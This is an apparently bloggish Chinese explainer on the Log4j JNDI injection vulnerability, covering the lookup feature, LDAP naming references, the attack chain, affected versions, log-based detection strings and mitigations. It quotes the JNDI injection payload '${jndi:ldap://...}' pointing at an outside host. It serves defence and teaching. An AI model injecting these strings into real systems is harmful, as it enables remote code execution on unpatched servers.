一.什么是log4j?
log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。
使用方法:
1.pom引入依赖
2.获取logger实例
3.logger.info() debug() error() warn()...
优点:功能丰富,易于集成
二.排查log4j
哈哈,先来检查一下你们公司有没有log4j的漏洞,估计都是修复了,当时可是掀起血雨腥风啊
1.pom检查
2.可以通过日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog.cn",等字符来看看有没有别人在搞你
3.检查日志中是否有相关堆栈报错,堆栈中是否有一些JndiLookup,LdapURLContext等与JNDI调用相关的堆栈信息。
三.什么是JNDI注入
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。
四.什么是命名应用(JNDI naming Reference)
先给这些名词简单说一下
Ldap:你可以将它理解为一个目标数据库。
然后这个命名引用就是:
1.在这个目标数据库(LDAP)中可以存储一个外部的资源,对应的Reference类
比如说HTTP服务的一个.class文件
2.如果JNDI客户端,在LDAP服务上找不到对应的资源,就会到指定的地址请求数据,如果是命名引用的,就会将这个文件下载到本地。
3.如果你下载的这个.class文件包含无参构造函数或者静态方法块,那么加载的时候他会自动执行
四.漏洞原理
首先先来看一下网络上流传最多的payload
${jndi:ldap://2lnhn2.ceye.io}
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“开发人员图快捷”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡,但是如果只是打印日志的话没没有什么危害,但是,打印系统变量这种对系统而言构不成什么威胁。最终要的原因是log4j还支持JNDI协议。而且这个JNDI协议中还支持lookup()方法,那么这个漏洞就危害比较大了。
整个攻击链:
攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 远程加载攻击者服务器上的class文件构建对象(LDAP/RMI中有个命名引用功能) -----》寻找本地的恶意代码并执行
漏洞条件
1.使用了log4j的组件,并且版本在2.x <= 2.14.1
2.JDK版本小于8u191,7u201,6u211
漏洞修复与防御
等你把上面看完了,你也就知道怎么去修复了,欢迎补充!!!
1.禁止用户请求参数出现攻击关键字
2.禁止Lookup下载远程文件(命名引用)
3.禁止log4j使用Lookup
4.禁止log4j的应用连接 外网
5.可以直接在log4j jar包中删除lookup (2.10以下)